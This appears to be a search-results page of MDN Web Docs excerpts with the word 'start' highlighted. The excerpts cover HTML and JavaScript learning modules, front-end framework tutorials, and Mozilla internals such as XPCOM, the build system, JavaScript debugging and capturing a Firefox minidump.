starting point for this task to work in your own editor or in an online editor. html text basics 2 in this task we want you to turn the first un-marked up list into an unordered list, and the second one into an ordered list. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html text ...
...d example: download the
starting point for this task to work in your own editor or in an online editor. html text basics 3 in this task you are provided with a paragraph, and your aim is to use some inline elements to mark up a couple of appropriate words with strong importance, and a couple with emphasis. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for html text basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Introduction to HTML - Learn web development
three columns of content? a navigation menu?), and embed content such as images and videos into a page. this module will introduce the first two of these and introduce fundamental concepts and syntax you need to know to understand html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you don't need any previous html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content). you should have a basic work environment set up (as detailed in installing basic software), and understand how to create and manage files (as detailed in dealing...
...ule, you don't need any previous html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content). you should have a basic work environment set up (as detailed in installing basic software), and understand how to create and manage files (as detailed in dealing with files). both are parts of our getting
started with the web complete beginner's module. note: if you are working on a computer/tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which will take you through all the basic theory of html and provide ample opportunity for you to ...
...'s module. note: if you are working on a computer/tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which will take you through all the basic theory of html and provide ample opportunity for you to test out some skills. getting
started with html covers the absolute basics of html, to get you
started — we define elements, attributes, and other important terms, and show where they fit in the language. we also show how a typical html page is structured and how an html element is structured, and explain other important basic language features. along the way, we'll play with some html to get you interested! what’s in the hea...
HTML table advanced features and accessibility - Learn web development
} tfoot { font-weight: bold; } save and refresh, and have a look at the result. if the <tbody> and <tfoot> elements weren't in place, you'd have to write much more complicated selectors/rules to apply the same styling. note: we don't expect you to fully understand the css right now. you'll learn more about this when you go through our css modules (introduction to css is a good place to
start; we also have an article specifically on styling tables). your finished table should look something like the following: hidden example <!doctype html> <html> <head> <meta charset="utf-8"> <title>my spending record</title> <style> html { font-family: sans-serif; } table { border-collapse: collapse; border: 4px solid rgb(2...
...td>12/09</td> <td>great idea</td> <td>30</td> </tr> screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example. scope has two more possible values — colgroup and rowgroup. these are used for headings that sit over the top of multiple columns or rows. if you look back at the "items sold august 2016" table at the
start of this section of the article, you'll see that the "clothes" cell sits above the "trousers", "skirts", and "dresses" cells. all of these cells should be marked up as headers (<th>), but "clothes" is a heading that sits over the top and defines the other three subheadings. "clothes" therefore should get an attribute of scope="colgroup", whereas the others would get an attribute of scope="col". t...
...es not leave any room for errors. the scope approach is usually enough for most tables. active learning: playing with scope and headers for this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a new directory. now try adding in the appropriate scope attributes to make this table more appropriate. finally, try making another copy of the
starter files, and this time make the table more accessible using id and headers attributes. note: you can check your work against our finished examples — see items-sold-scope.html (also see this live) and items-sold-headers.html (see this live too). summary there are a few other things you could learn about table html, but we have really given all you need to know at this moment in time. at th...
Structuring the web with HTML - Learn web development
ture of a webpage. html is used to specify whether your web content should be recognized as a paragraph, list, heading, link, image, multimedia player, form, or one of many other available elements or even a new element that you define. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this topic, you should have at least basic familiarity with using computers and using the web passively (i.e. just looking at it, consuming the content). you should have a basic work environment set up as detailed in installing basic software, and understand how to create and manage files, as detailed in dealing with files — both are parts of our getting st...
...th using computers and using the web passively (i.e. just looking at it, consuming the content). you should have a basic work environment set up as detailed in installing basic software, and understand how to create and manage files, as detailed in dealing with files — both are parts of our getting
started with the web complete beginner's module. it is recommended that you work through getting
started with the web before attempting this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail. after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, a...
... other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them. you should definitely
start with the first one. introduction to html this module sets the stage, getting you used to important concepts and syntax, looking at applying html to text, how to create hyperlinks, and how to use html to structure a webpage. multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how ...
General asynchronous programming concepts - Learn web development
y is this? the answer is because javascript, generally speaking, is single-threaded. at this point, we need to introduce the concept of threads. threads a thread is basically a single process that a program can use to complete tasks. each thread can only do a single task at once: task a --> task b --> task c each task will be run sequentially; a task has to complete before the next one can be
started. as we said earlier, many computers now have multiple cores, so can do multiple things at once. programming languages that can support multiple threads can use multiple cores to complete multiple tasks simultaneously: thread 1: task a --> task b thread 2: task c --> task d javascript is single-threaded javascript is traditionally single-threaded. even with multiple cores, you could only get...
...is not blocking, it is still basically synchronous. this becomes a problem when a function relies on the results of multiple previous processes to function. consider the following thread diagrams: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it. if you
start task a running and then immediately try to run task b, you'll get an error, because the image won't be available yet. main thread: task a --> task b --> |task d| worker thread: task c -----------> | | in this case, let's say task d makes use of the results of both task b and task c. if we can guarantee that these results will both be available at the same time, then we might be ok, but t...
... like promises allow you to set an operation running (e.g. the fetching of an image from the server), and then wait until the result has returned before running another operation: main thread: task a task b promise: |__async operation__| since the operation is happening somewhere else, the main thread is not blocked while the async operation is being processed. we'll
start to look at how we can write asynchronous code in the next article. exciting stuff, huh? keep reading! conclusion modern software design increasingly revolves around using asynchronous programming, to allow programs to do more than one thing at a time. as you use newer and more powerful apis, you'll find more cases where the only way to do things is asynchronously. it used to be hard to write as...
Build your own function - Learn web development
owsers. we'd recommend you doing this exercise in a modern browser like firefox, opera, or chrome. the basic function to begin with, let's put together a basic function. note: for function naming conventions, you should follow the same rules as variable naming conventions. this is fine, as you can tell them apart — function names appear with parentheses after them, and variables don't. ...
... this exercise in a modern browser like firefox, opera, or chrome. the basic function to begin with, let's put together a basic function. note: for function naming conventions, you should follow the same rules as variable naming conventions. this is fine, as you can tell them apart — function names appear with parentheses after them, and variables don't. ...
...this is followed by the name we want to give to our function, a set of parentheses, and a set of curly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the curly braces. ...
Making decisions in your code — conditionals - Learn web development
a theme (black or white), plus a simple <h1> to display a website title. we also have a function called update(), which takes two colors as parameters (inputs). the website's background color is set to the first provided color, and its text color is set to the second provided color. finally, we've also got an onchange event listener that serves to run a function containing a ternary operator. it
starts with a test condition — select.value === 'black'. if this returns true, we run the update() function with parameters of black and white, meaning that we end up with background color of black and text color of white. if it returns false, we run the update() function with parameters of white and black, meaning that the site color are inverted. note: you can also find this example on github (se...
...ner('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selection
start; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the...
...ner('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selection
start; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the...
Test your skills: variables - Learn web development
he case of the downloadable version). variables 1 in this task we want you to: declare a variable called myname. initialize myname with a suitable value, on a separate line (you can use your actual name, or something else). declare a variable called myage and initialize it with a value, on the same line. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. variables 2 in this task you need to add a new line to correct the value stored in the existing myname variable to your own name. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. variables 3 the final ta...
...ine editor. variables 3 the final task for now — in this case you are provided with some existing code, which has two errors present in it. the results panel should be outputting the name chris, and a statement about how old chris will be in 20 years' time. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for variables 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Storing the information you need — Variables - Learn web development
s available, we'd have to implement a giant code block that checked what the entered name was, and then display the appropriate message for any name. this is obviously really inefficient (the code is a lot bigger, even for only five choices), and it just wouldn't work — you couldn't possibly store all possible choices. variables just make sense, and as you learn more about javascript they will
start to become second nature. another special thing about variables is that they can contain just about anything — not just strings and numbers. variables can also contain complex data and even entire functions to do amazing things. you'll learn more about this as you go along. note: we say variables contain values. this is an important distinction to make. variables aren't the values themselves;...
... fine in most cases, but it has some issues in the way it works — its design can sometimes be confusing or downright annoying. so, let was created in modern versions of javascript, a new keyword for creating variables that works somewhat differently to var, fixing its issues in the process. a couple of simple differences are explained below. we won't go into all the differences now, but you'll
start to discover them as you learn more about javascript (if you really want to read about them now, feel free to check out our let reference page). for a
start, if you write a multiline javascript program that declares and initializes a variable, you can actually declare a variable with var after you initialize it and it will still work. for example: myname = 'chris'; function logname() { consol...
...e = 'bob'; myage = 40; an aside on variable naming rules you can call a variable pretty much anything you like, but there are limitations. generally, you should stick to just using latin characters (0-9, a-z, a-z) and the underscore character. you shouldn't use other characters because they may cause errors or be hard to understand for an international audience. don't use underscores at the
start of variable names — this is used in certain javascript constructs to mean specific things, so may get confusing. don't use numbers at the
start of variables. this isn't allowed and causes an error. a safe convention to stick to is so-called "lower camel case", where you stick together multiple words, using lower case for the whole first word and then capitalize subsequent words. we've been us...
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this assessment, you are expected to use the bouncing balls demo from the previous article as a
starting point, and add some new and interesting features to it. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript objects and object-oriented constructs
starting point to get this assessment
started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. if the online editor...
...ste the html, css and javascript into one of these online editors. if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page. note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. hints and tips a couple of pointers before you get
started. this assessment is quite challenging. read the whole assessment before you
start coding, and take each step slowly and carefully. it might be a good idea to save a separate copy of the demo after you get each stage working, so you can refer back to it if you find yourself in trouble later on. project brief our bouncy ball demo is fun, but now we want to make it a little bit more interac...
... again, remember to define your inherited properties as parameters in the constructor, and set the prototype and constructor properties correctly. defining evilcircle()'s methods evilcircle() should have four methods, as described below. draw() this method has the same purpose as ball()'s draw() method: it draws the object instance on the canvas. it will work in a very similar way, so you can
start by copying the ball.prototype.draw definition. you should then make the following changes: we want the evil circle to not be filled in, but rather just have an outer line (stroke). you can achieve this by updating fillstyle and fill() to strokestyle and stroke(). we also want to make the stroke a bit thicker, so you can see the evil circle a bit more easily. this can be achieved by setting a ...
JavaScript object basics - Learn web development
he fact that many of the features you've already dealt with are objects. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks). objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("most things are objects"), and how to
start working with javascript objects. object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions — which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like. to begin with, make a local copy of our oojs.html file. this contains very little...
...ethods. look at this one for example: greeting: function() { alert('hi! i\'m ' + this.name.first + '.'); } you are probably wondering what "this" is. the this keyword refers to the current object the code is being written inside — so in this case this is equivalent to person. so why not just write person instead? as you'll see in the object-oriented javascript for beginners article, when we
start creating constructors and so on, this is very useful — it always ensures that the correct values are used when a member's context changes (for example, two different person object instances may have different names, but we want to use their own name when saying their greeting). let's illustrate what we mean with a simplified pair of person objects: const person1 = { name: 'chris', greetin...
...and functionality — if you tried to keep track of all the properties and methods in our person object as separate variables and functions, it would be inefficient and frustrating, and we'd run the risk of clashing with other variables and functions that have the same names. objects let us keep the information safely locked away in their own package, out of harm's way. in the next article we'll
start to look at object-oriented programming (oop) theory, and how such techniques can be used in javascript. overview: objects next in this module object basics object-oriented javascript for beginners object prototypes inheritance in javascript working with json data object building practice adding features to our bouncing balls demo ...
Introducing JavaScript objects - Learn web development
t is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you. here we teach object theory and syntax in detail, then look at how to create your own objects. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should have some familiarity with html and css. you are advised to work through the introduction to html and introduction to css modules before
starting on javascript. you should also have some familiarity with javascript basics before looking at javascript objects in detail. before attempting this module, work through javascript first steps an...
... so it can be displayed on a web page). you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json. ...
...tails, giving you a solid base to
start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, which produce something fun and colorful — some colored bouncing balls. assessments adding features to our bouncing balls demo in this assessment, you are expected to use the bouncing balls demo from the previous article as a
starting point, and add some new and interesting features to it. ...
JavaScript — Dynamic client-side scripting - Learn web development
than just sit there and display static information for you to look at—displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more—you can bet that javascript is probably involved. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
... developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites javascript is arguably more difficult to learn than related technologies such as html and css. before attempting to learn javascript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well.
start by working through the following modules: getting
started with the web introduction to html introduction to css having previous experience with other programming languages might also help. after getting familiar with the basics of javascript, you should be in a position to learn about more advanced topics, for example: javascript in depth, as taught in our javascript guide web apis ...
...explain what json data is and how to work with it. asynchronous javascript in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you
start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. in this module we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. solving common javascript problems use javascript to solve common problems provides l...
Ember resources and troubleshooting - Learn web development
oading and error can render default templates as well as customized templates defined elsewhere in the application, unifying loading/error states. more information on everything a route can do is found in the api documentation. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Using Vue computed properties - Learn web development
y to add a nice little feature to our app. we do however have bigger fish to fry — in the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Focus management with Vue refs - Learn web development
g further. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. ...
...ide javascript frameworks next in this module introduction to client-side frameworks framework main features react getting
started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting
started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, an...
...ources and troubleshooting vue getting
started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting
started with svelte
starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Tools and testing - Learn web development
once you've
started to become comfortable programming with core web technologies (like html, css, and javascript), and you
start to get more experience, read more resources, and learn more tips and tricks, you'll
start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides. as your web projects become larger and more complex, you'll want to
start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. on top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the web, and be usable by peop...
..., not because we endorse them or think they are the best, but because we know they work and have good industry support. in most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
... become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use many the tools detailed here. for example, you'll need to know the fundamentals of these languages before you
start debugging problems in complex web code, making effective use of javascript frameworks, or writing tests and running them against your code using test runners. in addition, you should
start with the first module in this topic, which gives a useful overview of the general area. modules understanding client-side web development tools client-side tooling can be intimidating, but this series of ...
Accessible Toolkit Checklist
tocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, and don't use the default system highlight color in the list itself unless it really has focus in autocomplete text fields, make sure that the delete or backspace key removes all auto completed selected text. ...
... the focused radio button is always selected, and vice versa keyboard and msaa support must still work correctly whe...
...tabbed to, select the first item if nothing else is already selected f4, alt+down or alt+up toggle a combo box open and closed escape closes combo box if it was open (be careful not to have it cancel entire dialog) up/down arrow key navigation. shift+up and shift+down move and extend the selection. typing letter or several letters to navigate (same letter goes to each item
starting with that, different letters go to first item
starting with that entire string). multiple selection is possible with ctrl+arrow to move focus without selecting, then space to select item, shift+space to select to current point or control+space to toggle selection of current item shift+f10 or context menu key to bring up context menu for current item. generate a context menu event. ...
A bird's-eye view of the Mozilla framework
f the ui example, it's helpful to have a basic understanding of the xpcom object model. mozilla architectural modules are comprised of groups of related xpcom objects that provide services to and access services from each other through dynamically queryable interfaces. object model at a glance mozilla dynamically loads and integrates core modules and xul packages into the runtime environment on
startup. once loaded, a module or package has full access to the xpcom objects of all the other modules in the runtime environment. the ability to dynamically integrate modules and packages at
startup is a powerful benefit of the object model, which defines a module as a set of one or more xpcom objects calledcomponents. these objects provide services to client packages and modules and access services ...
...ism for registering and unregistering the xpcom component, as well as for accessing the underlying class objects implementing the idl interfaces, and nsgetmodule(), the entry point used to load the xpcom component. xpcom components also link with a set of xpcom utilities, such as strings, smart pointers, basic assertion and condition checking. these utilities are referred to as xpcom glue. at
startup, the core application component identifies and loads all of the different xpcom components comprising the core application services and builds a central registry it uses to generate instances of xpcom components and instances of interface implementation classes on demand. xpcom in summary to summarize, the xpcom object model specifies the structure of xpcom components, builds a central re...
...nd loads all of the different xpcom components comprising the core application services and builds a central registry it uses to generate instances of xpcom components and instances of interface implementation classes on demand. ...
Creating a spell check dictionary add-on
parts needed to create a dictionary add-on, you first need two things: a spell check dictionary in hunspell or myspell format, with a license which allows you to use it. such a dictionary consists of two files, one with a .dic and one with an .aff file extension. a locale code to describe the language of the dictionary. for example en-us, de-de or da. ...
...d-on, you must keep the existing em:id, or your users will not be updated to the latest version. the em:version should follow the rules of mozilla add-on version numbers, and if you update an existing dictionary add-on, the new version number must be greater than the old one. don't change em:type or em:unpack, and don't add a em:bootstrap element. type = 64 indicates that the add-on is in the re
startless format, and unpack is required for hunspell to read the dictionary. although the re
startless format for dictionary add-ons were introduced in gecko 10, dictionary updates only works
starting from gecko 18. the em:minversion should therefore be the same as in the example above (or greater). if you set em:minversion to a lower value, gecko 10-17 will not be able to update your dictionary add-o...
... update the em:maxversion to the greatest versions available. ...
Creating Sandboxed HTTP Connections
this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom. setting up an http connection the first step in setting up an http connection from an url (stored in a string) is to create an nsiuri out of it. nsiuri is an xpcom representation of an uri, with useful methods to query and manipulate the uri. ...
...ri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called. it takes two arguments: a listener and a context that is passed to the listener's methods. channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability. on
startrequest - gets called when a new request is initiated. ondataavailable - new data is available. since this is a stream, it could be called multiple times (depending on the size of the returned data, networking conditions, etc). onstoprequest - the request has finished. onchannelredirect - when a redirect happens, a new nsichannel is created, and both the old and new ones are passed in as arg...
...ring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc); gchannel.notificationcallbacks = listener; gchannel.asyncopen(listener, null); function streamlistener(acallbackfunc) { this.mcallbackfunc = acallbackfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener on
startrequest: function (arequest, acontext) { this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { var scriptableinputstream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); scriptableinputstream.init(astream); this.mdata += scriptableinputstr...
Capturing a minidump
e include windbg which you will need here. download it from install debugging tools for windows. (you'll want the 32-bit version of windbg only if you are using a 32-bit version of firefox) then install it, the standard settings in the installation process are fine. capture a minidump connect firefox to the debugger. ...
...ndbg which you will need here. download it from install debugging tools for windows. (you'll want the 32-bit version of windbg only if you are using a 32-bit version of firefox) then install it, the standard settings in the installation process are fine. capture a minidump connect firefox to the debugger. if firefox is not already running, then open windbg from the
start menu (
start->all programs->debugging tools for windows->windbg). next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). if firefox is already running, open windbg from the
start menu (
start->all programs->debugging tools for windows->windbg). next, ope...
...if the debugger spits out some text right away and firefox doesn't come up, select debug → go again. when the program is about to crash, windbg will spit out more data, and the prompt at the bottom will change from saying "*busy*" to having a number in it. at this point, you should type ".dump /ma c:\temp\firefoxcrash.dmp" -- without the quotes, but don't forget the dot at the beginning. ...
Debugging Frame Reflow
when the frame's reflow is finished the following information is displayed : reflow metric (desired) width, height max. ...
...unt is 856 (cnt=856). below this is a line that reads: tblo 02d7b5f0 r=0 a=8940,uc c=0,0 cnt=870 here the uc shows that on initial reflow the available height for the outer table frame is unconstrained. the table cell requires its children to compute the mes. it is reported back from the block as: block 02d7bcf8 d=300,300 me=300 the block max. element size is 300 twips. the second table reflow is
started at rowg 00b984a4 r=2 a=1500,uc c=1500,uc cnt=879 where the previous information is used. the block has been required to compute the max. element size only once and it reports now: block 02d7bcf8 d=1410,300 the block shows the same address as the previous one. frames with children that overflow the parent have the ns_frame_outside_children flag set. for these frames the overflow area is displaye...
...it reports now: block 02d7bcf8 d=1410,300 the block shows the same address as the previous one. frames with children that overflow the parent have the ns_frame_outside_children flag set. for these frames the overflow area is displayed as block 025ed8f0 d=8940,1020 o=(0,0) 9180 x 1020. the overflow area is specified as (x,y) origin and width x height. the reflow finishes at the same level where it
started. advanced reflow debugging the previously described technique dumps the data for every frame. sometimes the log is clearer if only the main frames are shown. the entries in the reflow log can be controlled on a frame level. for instance adding text 0 to the rules in reflow_rules.txt would hide the text entries from the reflow. the display of the following frames can be turned on by adding a lin...
Debugging JavaScript
api. browser console the browser console lets you see all javascript errors and logging in the browser, including from firefox code. to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. ...
...code"); error console this is obsolete and is no longer enabled in firefox by default. use the web console or the browser console instead. browser debugger (built-in) on firefox 19 or later, it's possible to use the built-in js debugger on the browser itself. go to about:config and set the following two prefs: devtools.chrome.enabled: true devtools.debugger.remote-enabled: true after you re
start the browser, you can access the browser debugger through tools > web developer > browser toolbox. (note that before firefox 28, this was labeled "browser debugger" and only the debugger was available, not the whole toolbox.) note that you must accept the incoming connection : (you may disable the pop-up above with the devtools.debugger.prompt-connection set to false in about:config. this ca...
...ver dump in that you can list out properties of an object logged with console.log. dump() the dump() function allows you to print text on the native console. use \n to output a newline at the end. to see anything, you need to set the pref browser.dom.window.dump.enabled to true, e.g. in about:config (add new pref, it doesn't exist per default). under microsoft windows you additionally need to
start firefox via the following command to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject(). log.jsm (formerly log4moz) this is a partial implementation of the log4* interfaces (for example, see log4j or log4net). components.utils.import("resource://gre/modules/log.jsm"); "deb...
How Mozilla's build system works
rst scan the build system definition. the build system definition consists of various moz.build files in the tree. there is roughly one moz.build file per directory or per set of related directories. each moz.build file defines how its part of the build configuration works. for example, it says i want these c++ files compiled or look for additional information in these directories. config.status
starts with the main moz.build file and then recurses into all referenced files and directories. as the moz.build files are read, data structures describing the overall build system definition are emitted. these data structures are then read by a build backend generator, which then converts them into files, function calls, and so on. in the case of a make backend, the generator writes out makefiles. w...
...as tup or visual studio. when building the tree, most of the time is spent in phase 3. this is when header files are installed, c++ files are compiled, files are preprocessed, and so on. recursive make backend the recursive make backend is the tried-and-true backend used to build the tree. it's what's been used since the dawn of mozilla. essentially, there are makefiles in each directory. make
starts processing the makefile in the root directory and then recursively descends into child directories until it's done. but there's more to the process than that. the recursive make backend divides the source tree into tiers. a tier is a grouping of related directories containing makefiles of their own. for example, there is a tier for the netscape portable runtime (nspr), one for the javascript en...
...hese sub-tiers roughly correspond to the actions of pre-build, main-build, and post-build. this naming, however, can be misleading because all three sub-tiers are part of the build: export is used to do things like copy headers into place. libs is reserved for most of the work, like compiling c++ source files. tools is used to install tests and other support tools. when make is invoked, it
starts at the export sub-tier of the first tier, and traverses all the directories in that tier. then, it does the same thing for the libs sub-tier and, subsequently, the tools sub-tier. it then moves on to the next tier and continues until no tiers remain. to view information about the tiers, you can execute the following special make targets: command effect make echo-tiers s...
Eclipse CDT Manual Setup
n (e.g., "macosx gcc"), and click finish. the status bar at the bottom right of the window should now show that eclipse is "refreshing the workspace" (gathering a list of all the files in the source tree). click on the little green button beside this message to open the "progress" tab, and keep an eye on the "refreshing workspace" item as you continue with the steps below. ...
...depends on whether your object directory is inside or outside your source tree. if inside, use the "add folder" button; if outside, use the "link folder" button and tick the "link to folder in the file system" checkbox. once you've added this folder, delete the existing output folder that was set to the root of the project. doing this prevents the "searching for binaries" which eclipse constantly
starts from taking too long. select "c/c++ general > preprocessor include paths, macros, and so on." select the providers tab. make sure that "cdt gcc build output parser" is selected, and that "cdt managed build settings entries" is not selected. highlight (select) "cdt gcc build output parser", then in the "language settings provider options" that appear below, make sure that "share setting entries ...
...and add the flag "-std=c++11" at the end of the field labeled "command to get compiler specs". in cdt 8.3 (unreleased as of august 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/cdt/user/newin83#toolchains). building the index once you see the end of the build output in the console tab and the build item has disappeared from the progress tab, you can
start indexing the source. if indexing
started automatically (see the progress tab), cancel it, since there seems to be a bug that makes it give bad results when it
starts automatically at this stage. right-click the project root in the project explorer tab and select "index > rebuild". you will now see "indexing..." in the status bar at the bottom right and an indexing item in the progress tab. it wil...
Firefox and the "about" protocol
bout:credits lists all contributors to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home
start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about...
...refox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message from "the book of mozilla" about:networking displays networking information about:newtab
